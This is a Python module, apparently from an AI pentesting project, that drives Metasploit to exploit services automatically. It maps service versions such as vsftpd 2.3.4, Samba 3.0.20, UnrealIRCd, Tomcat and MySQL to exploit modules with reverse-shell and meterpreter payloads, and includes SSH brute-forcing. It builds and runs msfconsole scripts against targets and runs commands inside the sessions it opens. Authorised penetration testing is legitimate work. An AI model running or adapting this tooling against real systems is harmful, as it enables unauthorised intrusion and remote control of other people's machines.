Buckets:
AnonymousSpottedToad/candidate_bucket / codebase /python /SHAdd0WTAka_Zen-Ai-Pentest /modules /metasploit_integration.py
| #!/usr/bin/env python3 | |
| """ | |
| Metasploit Integration Module for Zen-AI-Pentest | |
| Automated exploit execution via Metasploit RPC | |
| """ | |
| import json | |
| import logging | |
| import subprocess | |
| import time | |
| from dataclasses import dataclass | |
| from pathlib import Path | |
| from typing import Dict, List, Optional | |
| try: | |
| from pymetasploit3.msfrpc import MsfRpcClient | |
| MSF_RPC_AVAILABLE = True | |
| except ImportError: | |
| MSF_RPC_AVAILABLE = False | |
| logging.basicConfig(level=logging.INFO) | |
| logger = logging.getLogger(__name__) | |
| class ExploitResult: | |
| """Result of an exploit attempt""" | |
| exploit_name: str | |
| target: str | |
| port: int | |
| success: bool | |
| session_id: Optional[int] | |
| session_type: Optional[str] | |
| error_message: Optional[str] | |
| timestamp: str | |
| class MsfSession: | |
| """Metasploit session info""" | |
| session_id: int | |
| session_type: str | |
| target_host: str | |
| target_port: int | |
| info: str | |
| via_exploit: str | |
| via_payload: str | |
| class MetasploitIntegration: | |
| """ | |
| Main class for Metasploit integration | |
| Supports both RPC and CLI modes | |
| """ | |
| # Exploit Mapping: Zen-AI Identified → Metasploit Module | |
| EXPLOIT_MAP = { | |
| # vsftpd Backdoor | |
| "vsftpd 2.3.4": { | |
| "module": "exploit/unix/ftp/vsftpd_234_backdoor", | |
| "payload": "cmd/unix/interact", | |
| "options": {}, | |
| }, | |
| # Samba Username Map | |
| "samba 3.0.20": { | |
| "module": "exploit/multi/samba/usermap_script", | |
| "payload": "cmd/unix/reverse", | |
| "options": {}, | |
| }, | |
| # UnrealIRCd Backdoor | |
| "unrealircd": { | |
| "module": "exploit/unix/irc/unreal_ircd_3281_backdoor", | |
| "payload": "cmd/unix/reverse_perl", | |
| "options": {}, | |
| }, | |
| # Java RMI | |
| "java-rmi": { | |
| "module": "exploit/multi/misc/java_rmi_server", | |
| "payload": "java/meterpreter/reverse_tcp", | |
| "options": {}, | |
| }, | |
| # MySQL UDF | |
| "mysql": { | |
| "module": "exploit/multi/mysql/mysql_udf_payload", | |
| "payload": "linux/x86/meterpreter/reverse_tcp", | |
| "options": {}, | |
| }, | |
| # PostgreSQL | |
| "postgresql": { | |
| "module": "exploit/linux/postgres/postgres_payload", | |
| "payload": "linux/x86/meterpreter/reverse_tcp", | |
| "options": {}, | |
| }, | |
| # SSH Brute Force (wenn nötig) | |
| "ssh": { | |
| "module": "auxiliary/scanner/ssh/ssh_login", | |
| "payload": None, # Aux module | |
| "options": {"USERPASS_FILE": "/usr/share/wordlists/metasploit/default_userpass.txt"}, | |
| }, | |
| # Tomcat | |
| "tomcat": { | |
| "module": "exploit/multi/http/tomcat_mgr_upload", | |
| "payload": "java/meterpreter/reverse_tcp", | |
| "options": {}, | |
| }, | |
| # Apache mod_jk | |
| "apache 1.3": { | |
| "module": "exploit/multi/http/tomcat_mgr_upload", # Alternative | |
| "payload": "java/meterpreter/reverse_tcp", | |
| "options": {}, | |
| }, | |
| } | |
| def __init__( | |
| self, | |
| rpc_host: str = "127.0.0.1", | |
| rpc_port: int = 55553, | |
| rpc_user: str = "msf", | |
| rpc_pass: str = None, | |
| ): | |
| self.rpc_host = rpc_host | |
| self.rpc_port = rpc_port | |
| self.rpc_user = rpc_user | |
| self.rpc_pass = rpc_pass or "zen_ai_pentest" | |
| self.client = None | |
| self.use_cli_mode = not MSF_RPC_AVAILABLE | |
| if MSF_RPC_AVAILABLE: | |
| self._connect_rpc() | |
| else: | |
| logger.info("Metasploit RPC not available, using CLI mode") | |
| def _connect_rpc(self): | |
| """Connect to Metasploit RPC server""" | |
| try: | |
| self.client = MsfRpcClient( | |
| password=self.rpc_pass, | |
| server=self.rpc_host, | |
| port=self.rpc_port, | |
| username=self.rpc_user, | |
| ) | |
| logger.info(f"Connected to Metasploit RPC at {self.rpc_host}:{self.rpc_port}") | |
| except Exception as e: | |
| logger.warning(f"RPC connection failed: {e}, falling back to CLI mode") | |
| self.use_cli_mode = True | |
| self.client = None | |
| def start_rpc_server(self, password: str = None) -> bool: | |
| """Start msfrpcd server""" | |
| password = password or self.rpc_pass | |
| try: | |
| import shutil | |
| pgrep_path = shutil.which("pgrep") | |
| msfrpcd_path = shutil.which("msfrpcd") | |
| if not msfrpcd_path: | |
| logger.error("msfrpcd not found in PATH") | |
| return False | |
| # Check if already running | |
| if pgrep_path: | |
| result = subprocess.run([pgrep_path, "-f", "msfrpcd"], capture_output=True) | |
| if result.returncode == 0: | |
| logger.info("msfrpcd already running") | |
| return True | |
| # Start msfrpcd | |
| subprocess.Popen( | |
| [ | |
| msfrpcd_path, | |
| "-P", | |
| password, | |
| "-p", | |
| str(self.rpc_port), | |
| "-n", | |
| "-a", | |
| self.rpc_host, | |
| ], | |
| stdout=subprocess.DEVNULL, | |
| stderr=subprocess.DEVNULL, | |
| ) | |
| time.sleep(3) # Wait for startup | |
| logger.info(f"Started msfrpcd on {self.rpc_host}:{self.rpc_port}") | |
| return True | |
| except Exception as e: | |
| logger.error(f"Failed to start msfrpcd: {e}") | |
| return False | |
| def find_exploit(self, service_name: str, version: str = None) -> Optional[Dict]: | |
| """ | |
| Find Metasploit exploit based on service identification | |
| """ | |
| search_key = f"{service_name} {version}".lower().strip() if version else service_name.lower() | |
| # Direct match | |
| for key, exploit in self.EXPLOIT_MAP.items(): | |
| if key in search_key or search_key in key: | |
| return exploit | |
| # Partial match | |
| for key, exploit in self.EXPLOIT_MAP.items(): | |
| if any(part in search_key for part in key.split()): | |
| return exploit | |
| return None | |
| def execute_exploit_cli( | |
| self, | |
| target: str, | |
| port: int, | |
| exploit_module: str, | |
| payload: str = None, | |
| options: Dict = None, | |
| ) -> ExploitResult: | |
| """ | |
| Execute exploit using Metasploit CLI (msfconsole) | |
| """ | |
| timestamp = time.strftime("%Y-%m-%d %H:%M:%S") | |
| # Build rc script | |
| rc_script = f""" | |
| use {exploit_module} | |
| set RHOSTS {target} | |
| set RPORT {port} | |
| """ | |
| if payload: | |
| rc_script += f"set PAYLOAD {payload}\n" | |
| rc_script += f"set LHOST {self._get_lhost()}\n" | |
| rc_script += f"set LPORT {self._get_free_port()}\n" | |
| # Add custom options | |
| if options: | |
| for key, value in options.items(): | |
| rc_script += f"set {key} {value}\n" | |
| rc_script += "exploit -z\n" | |
| rc_script += "sessions -l\n" | |
| rc_script += "exit\n" | |
| # Write rc file using tempfile for security | |
| import tempfile | |
| with tempfile.NamedTemporaryFile(mode="w", suffix=".rc", delete=False) as f: | |
| rc_file = f.name | |
| f.write(rc_script) | |
| f.write(rc_script) | |
| try: | |
| # Execute | |
| import shutil | |
| msfconsole_path = shutil.which("msfconsole") | |
| if not msfconsole_path: | |
| logger.error("msfconsole not found in PATH") | |
| return ExploitResult( | |
| exploit_name=exploit_module, | |
| target=target, | |
| port=port, | |
| success=False, | |
| session_id=None, | |
| session_type=None, | |
| error_message="msfconsole not found", | |
| timestamp=timestamp, | |
| ) | |
| result = subprocess.run( | |
| [msfconsole_path, "-q", "-r", rc_file], | |
| capture_output=True, | |
| text=True, | |
| timeout=120, | |
| ) | |
| output = result.stdout + result.stderr | |
| # Parse result | |
| session_id = self._parse_session_id(output) | |
| success = session_id is not None or "Meterpreter session" in output or "Command shell" in output | |
| return ExploitResult( | |
| exploit_name=exploit_module, | |
| target=target, | |
| port=port, | |
| success=success, | |
| session_id=session_id, | |
| session_type=("meterpreter" if "Meterpreter" in output else "shell" if success else None), | |
| error_message=None if success else self._parse_error(output), | |
| timestamp=timestamp, | |
| ) | |
| except subprocess.TimeoutExpired: | |
| return ExploitResult( | |
| exploit_name=exploit_module, | |
| target=target, | |
| port=port, | |
| success=False, | |
| session_id=None, | |
| session_type=None, | |
| error_message="Exploit timeout", | |
| timestamp=timestamp, | |
| ) | |
| except Exception as e: | |
| return ExploitResult( | |
| exploit_name=exploit_module, | |
| target=target, | |
| port=port, | |
| success=False, | |
| session_id=None, | |
| session_type=None, | |
| error_message=str(e), | |
| timestamp=timestamp, | |
| ) | |
| finally: | |
| # Cleanup | |
| Path(rc_file).unlink(missing_ok=True) | |
| def auto_exploit( | |
| self, | |
| target: str, | |
| service_name: str, | |
| port: int, | |
| version: str = None, | |
| dry_run: bool = False, | |
| ) -> ExploitResult: | |
| """ | |
| Automatically select and execute exploit based on service | |
| """ | |
| exploit = self.find_exploit(service_name, version) | |
| if not exploit: | |
| return ExploitResult( | |
| exploit_name="unknown", | |
| target=target, | |
| port=port, | |
| success=False, | |
| session_id=None, | |
| session_type=None, | |
| error_message=f"No exploit found for {service_name} {version}", | |
| timestamp=time.strftime("%Y-%m-%d %H:%M:%S"), | |
| ) | |
| if dry_run: | |
| logger.info(f"[DRY RUN] Would execute: {exploit['module']} against {target}:{port}") | |
| return ExploitResult( | |
| exploit_name=exploit["module"], | |
| target=target, | |
| port=port, | |
| success=True, # Dry run success | |
| session_id=None, | |
| session_type="dry_run", | |
| error_message=None, | |
| timestamp=time.strftime("%Y-%m-%d %H:%M:%S"), | |
| ) | |
| return self.execute_exploit_cli( | |
| target=target, | |
| port=port, | |
| exploit_module=exploit["module"], | |
| payload=exploit.get("payload"), | |
| options=exploit.get("options", {}), | |
| ) | |
| def _get_msfconsole_path(self) -> Optional[str]: | |
| """Get msfconsole path with caching""" | |
| import shutil | |
| return shutil.which("msfconsole") | |
| def get_sessions(self) -> List[MsfSession]: | |
| """Get active Metasploit sessions""" | |
| sessions = [] | |
| if self.use_cli_mode or not self.client: | |
| # CLI mode | |
| msfconsole = self._get_msfconsole_path() | |
| if not msfconsole: | |
| logger.error("msfconsole not found") | |
| return sessions | |
| try: | |
| result = subprocess.run( | |
| [msfconsole, "-q", "-x", "sessions -l; exit"], | |
| capture_output=True, | |
| text=True, | |
| timeout=30, | |
| ) | |
| # Parse output | |
| sessions = self._parse_sessions_cli(result.stdout) | |
| except Exception as e: | |
| logger.error(f"Failed to get sessions: {e}") | |
| else: | |
| # RPC mode | |
| try: | |
| for sid, session in self.client.sessions.list.items(): | |
| sessions.append( | |
| MsfSession( | |
| session_id=int(sid), | |
| session_type=session.get("type", "unknown"), | |
| target_host=session.get("session_host", "unknown"), | |
| target_port=session.get("session_port", 0), | |
| info=session.get("info", ""), | |
| via_exploit=session.get("via_exploit", ""), | |
| via_payload=session.get("via_payload", ""), | |
| ) | |
| ) | |
| except Exception as e: | |
| logger.error(f"RPC error getting sessions: {e}") | |
| return sessions | |
| def execute_session_command(self, session_id: int, command: str) -> str: | |
| """Execute command in a session""" | |
| if self.use_cli_mode or not self.client: | |
| # CLI mode | |
| msfconsole = self._get_msfconsole_path() | |
| if not msfconsole: | |
| return "Error: msfconsole not found" | |
| try: | |
| result = subprocess.run( | |
| [ | |
| msfconsole, | |
| "-q", | |
| "-x", | |
| f"sessions -i {session_id} -c '{command}'; exit", | |
| ], | |
| capture_output=True, | |
| text=True, | |
| timeout=30, | |
| ) | |
| return result.stdout | |
| except Exception as e: | |
| return f"Error: {e}" | |
| else: | |
| # RPC mode | |
| try: | |
| shell = self.client.sessions.session(session_id) | |
| return shell.run_with_output(command, timeout=30) | |
| except Exception as e: | |
| return f"RPC Error: {e}" | |
| def close_session(self, session_id: int) -> bool: | |
| """Close a Metasploit session""" | |
| try: | |
| if self.use_cli_mode or not self.client: | |
| msfconsole = self._get_msfconsole_path() | |
| if msfconsole: | |
| subprocess.run( | |
| [ | |
| msfconsole, | |
| "-q", | |
| "-x", | |
| f"sessions -k {session_id}; exit", | |
| ], | |
| capture_output=True, | |
| timeout=10, | |
| ) | |
| else: | |
| self.client.consoles.console().run(f"sessions -k {session_id}") | |
| return True | |
| except Exception as e: | |
| logger.error(f"Failed to close session: {e}") | |
| return False | |
| # Helper methods | |
| def _get_lhost(self) -> str: | |
| """Get local IP for reverse connections""" | |
| import socket | |
| try: | |
| s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | |
| s.connect(("8.8.8.8", 80)) | |
| ip = s.getsockname()[0] | |
| s.close() | |
| return ip | |
| except Exception: | |
| return "127.0.0.1" | |
| def _get_free_port(self) -> int: | |
| """Get a free port for reverse connections""" | |
| import socket | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.bind(("127.0.0.1", 0)) | |
| port = s.getsockname()[1] | |
| s.close() | |
| return port | |
| def _parse_session_id(self, output: str) -> Optional[int]: | |
| """Parse session ID from msfconsole output""" | |
| import re | |
| # Look for "Meterpreter session X opened" or "Session X created" | |
| matches = re.findall(r"(?:session|Session)\s+(\d+)\s+(?:opened|created)", output) | |
| if matches: | |
| return int(matches[-1]) | |
| return None | |
| def _parse_error(self, output: str) -> str: | |
| """Parse error from msfconsole output""" | |
| lines = output.split("\n") | |
| for line in lines: | |
| if "fail" in line.lower() or "error" in line.lower(): | |
| return line.strip() | |
| return "Unknown error" | |
| def _parse_sessions_cli(self, output: str) -> List[MsfSession]: | |
| """Parse sessions from CLI output""" | |
| sessions = [] | |
| import re | |
| # Parse session list | |
| pattern = r"(\d+)\s+(\w+)\s+([^\n]+)" | |
| for match in re.finditer(pattern, output): | |
| try: | |
| sessions.append( | |
| MsfSession( | |
| session_id=int(match.group(1)), | |
| session_type=match.group(2), | |
| target_host="unknown", # CLI doesn't show this | |
| target_port=0, | |
| info=match.group(3).strip(), | |
| via_exploit="", | |
| via_payload="", | |
| ) | |
| ) | |
| except Exception: | |
| pass | |
| return sessions | |
| # Convenience functions | |
| def quick_exploit(target: str, service: str, port: int, version: str = None) -> ExploitResult: | |
| """Quick exploit function""" | |
| msf = MetasploitIntegration() | |
| return msf.auto_exploit(target, service, port, version) | |
| def exploit_from_analysis(analysis_file: str, target: str = None, dry_run: bool = True) -> List[ExploitResult]: | |
| """ | |
| Execute exploits based on Zen-AI analysis JSON | |
| """ | |
| results = [] | |
| with open(analysis_file, "r") as f: | |
| data = json.load(f) | |
| msf = MetasploitIntegration() | |
| for mapping in data.get("mappings", []): | |
| service = mapping["service"] | |
| svc_name = service["name"] | |
| port = service["port"] | |
| version = service.get("version", "") | |
| # Only exploit high confidence targets | |
| if mapping.get("confidence_score", 0) < 0.7: | |
| logger.info(f"Skipping {svc_name}:{port} (low confidence)") | |
| continue | |
| logger.info(f"Exploiting {svc_name} on port {port}...") | |
| result = msf.auto_exploit( | |
| target=target or service.get("host", "192.168.1.245"), | |
| service_name=svc_name, | |
| port=port, | |
| version=version, | |
| dry_run=dry_run, | |
| ) | |
| results.append(result) | |
| if result.success and not dry_run: | |
| logger.info(f" ✓ Success! Session {result.session_id}") | |
| elif not result.success: | |
| logger.info(f" ✗ Failed: {result.error_message}") | |
| return results | |
| if __name__ == "__main__": | |
| # Demo | |
| print("=" * 80) | |
| print("Metasploit Integration Demo") | |
| print("=" * 80) | |
| msf = MetasploitIntegration() | |
| # Test exploit lookup | |
| print("\n[1] Testing exploit lookup...") | |
| exploits = [ | |
| ("vsftpd", "2.3.4"), | |
| ("samba", "3.0.20"), | |
| ("mysql", "5.0.51a"), | |
| ("unrealircd", None), | |
| ] | |
| for svc, ver in exploits: | |
| exp = msf.find_exploit(svc, ver) | |
| if exp: | |
| print(f" ✓ {svc} {ver or ''} → {exp['module']}") | |
| else: | |
| print(f" ✗ {svc} {ver or ''} → Not found") | |
| # Test dry run | |
| print("\n[2] Testing dry run exploit...") | |
| result = msf.auto_exploit("192.168.1.245", "vsftpd", 21, "2.3.4", dry_run=True) | |
| print(f" Result: {result.exploit_name}") | |
| print(f" Success: {result.success}") | |
| print("\n" + "=" * 80) | |
| print("Demo complete!") | |
| print("=" * 80) | |
Xet Storage Details
- Size:
- 19.5 kB
- Xet hash:
- 6acd800652e3a741ee5296a03807169c73f886911cb253198309b15836799cc4
·
Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.